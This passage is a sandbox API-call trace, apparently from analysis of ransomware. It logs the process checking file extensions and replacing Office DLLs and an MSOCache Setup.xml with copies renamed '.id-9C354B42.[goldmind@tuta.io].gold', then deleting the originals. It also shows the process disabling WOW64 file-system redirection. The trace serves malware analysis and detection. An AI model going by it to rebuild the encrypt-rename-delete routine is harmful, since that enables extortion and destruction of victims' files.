returned 4 [0052.220] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.220] lstrlenW (lpString=".zip") returned 4 [0052.220] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString=".rar") returned 4 [0052.220] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString=".bz2") returned 4 [0052.220] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.220] lstrlenW (lpString=".7z") returned 3 [0052.220] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.220] lstrlenW (lpString=".dbf") returned 4 [0052.220] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.220] lstrlenW (lpString=".1cd") returned 4 [0052.220] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.221] lstrlenW (lpString=".jpg") returned 4 [0052.221] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.221] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.221] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0052.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.221] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=15800) returned 1 [0052.221] CloseHandle (hObject=0x21c) returned 1 [0052.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0052.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.222] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.222] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.222] GetLastError () returned 0x0 [0052.222] ReadFile (in: hFile=0x21c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0052.224] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0052.224] ReadFile (in: hFile=0x21c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.225] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.225] SetEndOfFile (hFile=0x190) returned 1 [0052.225] CloseHandle (hObject=0x190) returned 1 [0052.225] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.225] SetEndOfFile (hFile=0x21c) returned 1 [0052.226] CloseHandle (hObject=0x21c) returned 1 [0052.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.226] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.226] lstrlenW (lpString=".doc") returned 4 [0052.226] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.226] lstrlenW (lpString=".docx") returned 5 [0052.226] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0052.226] lstrlenW (lpString=".pdf") returned 4 [0052.226] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.226] lstrlenW (lpString=".xls") returned 4 [0052.226] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.226] lstrlenW (lpString=".xlsx") returned 5 [0052.226] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0052.226] lstrlenW (lpString=".ppt") returned 4 [0052.226] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.226] lstrlenW (lpString=".zip") returned 4 [0052.226] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.226] lstrlenW (lpString=".rar") returned 4 [0052.226] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.226] lstrlenW (lpString=".bz2") returned 4 [0052.226] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.226] lstrlenW (lpString=".7z") returned 3 [0052.226] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.226] lstrlenW (lpString=".dbf") returned 4 [0052.226] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString=".1cd") returned 4 [0052.227] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString=".jpg") returned 4 [0052.227] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString=".doc") returned 4 [0052.227] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.227] lstrlenW (lpString=".docx") returned 5 [0052.227] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0052.227] lstrlenW (lpString=".pdf") returned 4 [0052.227] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.227] lstrlenW (lpString=".xls") returned 4 [0052.227] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.227] lstrlenW (lpString=".xlsx") returned 5 [0052.227] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0052.227] lstrlenW (lpString=".ppt") returned 4 [0052.227] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString=".zip") returned 4 [0052.227] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.227] lstrlenW (lpString=".rar") returned 4 [0052.227] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.227] lstrlenW (lpString=".bz2") returned 4 [0052.227] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.227] lstrlenW (lpString=".7z") returned 3 [0052.227] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString=".dbf") returned 4 [0052.227] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString=".1cd") returned 4 [0052.227] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0052.227] lstrlenW (lpString=".jpg") returned 4 [0052.227] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.227] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.227] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0052.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0053.993] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=15800) returned 1 [0053.993] CloseHandle (hObject=0x1b0) returned 1 [0053.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0053.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0053.993] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.993] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.544] GetLastError () returned 0x0 [0055.544] ReadFile (in: hFile=0x1b0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0055.548] WriteFile (in: hFile=0x230, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0055.548] ReadFile (in: hFile=0x1b0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.548] WriteFile (in: hFile=0x230, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.548] SetEndOfFile (hFile=0x230) returned 1 [0055.549] CloseHandle (hObject=0x230) returned 1 [0055.549] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.549] SetEndOfFile (hFile=0x1b0) returned 1 [0055.549] CloseHandle (hObject=0x1b0) returned 1 [0055.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.549] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 1 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString=".doc") returned 4 [0055.550] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString=".docx") returned 5 [0055.550] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0055.550] lstrlenW (lpString=".pdf") returned 4 [0055.550] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString=".xls") returned 4 [0055.550] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString=".xlsx") returned 5 [0055.550] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0055.550] lstrlenW (lpString=".ppt") returned 4 [0055.550] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString=".zip") returned 4 [0055.550] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString=".rar") returned 4 [0055.550] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString=".bz2") returned 4 [0055.550] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.550] lstrlenW (lpString=".7z") returned 3 [0055.550] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString=".dbf") returned 4 [0055.550] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString=".1cd") returned 4 [0055.550] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString=".jpg") returned 4 [0055.550] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.550] lstrlenW (lpString=".doc") returned 4 [0055.550] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0055.550] lstrlenW (lpString=".docx") returned 5 [0055.550] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0055.551] lstrlenW (lpString=".pdf") returned 4 [0055.551] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0055.551] lstrlenW (lpString=".xls") returned 4 [0055.551] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0055.551] lstrlenW (lpString=".xlsx") returned 5 [0055.551] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0055.551] lstrlenW (lpString=".ppt") returned 4 [0055.551] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0055.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.551] lstrlenW (lpString=".zip") returned 4 [0055.551] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0055.551] lstrlenW (lpString=".rar") returned 4 [0055.551] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0055.551] lstrlenW (lpString=".bz2") returned 4 [0055.551] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0055.551] lstrlenW (lpString=".7z") returned 3 [0055.551] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0055.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.551] lstrlenW (lpString=".dbf") returned 4 [0055.551] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0055.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.551] lstrlenW (lpString=".1cd") returned 4 [0055.551] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0055.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0055.551] lstrlenW (lpString=".jpg") returned 4 [0055.551] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0055.551] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0055.551] lstrlenW (lpString="EXP_PDF.DLL") returned 11 [0055.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0x564 [0033.892] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x940720 [0033.892] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x950728 [0033.893] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0338 [0033.893] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8d3098 [0033.893] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0350 [0033.893] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3750020 [0033.893] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0368 [0033.893] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0368, Size=0x20) returned 0x8ff910 [0033.893] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0368 [0033.893] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0368, Size=0x20) returned 0x8ff938 [0033.893] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.893] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.893] Wow64DisableWow64FsRedirection (in: OldValue=0x2c6ff58 | out: OldValue=0x2c6ff58*=0x0) returned 1 [0033.893] lstrlenW (lpString="kernel32.dll") returned 12 [0033.893] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.893] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.893] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.894] Sleep (dwMilliseconds=0x64) [0034.556] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.563] lstrlenW (lpString="Setup.xml") returned 9 [0034.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.575] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1886) returned 1 [0034.575] CloseHandle (hObject=0x188) returned 1 [0034.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0034.576] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.576] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.577] GetLastError () returned 0x0 [0034.577] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x75e, lpOverlapped=0x0) returned 1 [0034.589] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x760, lpOverlapped=0x0) returned 1 [0034.590] ReadFile (in: hFile=0x188, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.590] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.590] SetEndOfFile (hFile=0x18c) returned 1 [0034.590] CloseHandle (hObject=0x18c) returned 1 [0034.591] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.591] SetEndOfFile (hFile=0x188) returned 1 [0034.592] CloseHandle (hObject=0x188) returned 1 [0034.592] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.593] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.593] lstrlenW (lpString=".doc") returned 4 [0034.593] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.593] lstrlenW (lpString=".docx") returned 5 [0034.593] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.593] lstrlenW (lpString=".pdf") returned 4 [0034.593] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.593] lstrlenW (lpString=".xls") returned 4 [0034.593] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.593] lstrlenW (lpString=".xlsx") returned 5 [0034.593] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.593] lstrlenW (lpString=".ppt") returned 4 [0034.593] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.593] lstrlenW (lpString=".zip") returned 4 [0034.593] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.593] lstrlenW (lpString=".rar") returned 4 [0034.593] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.593] lstrlenW (lpString=".bz2") returned 4 [0034.593] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 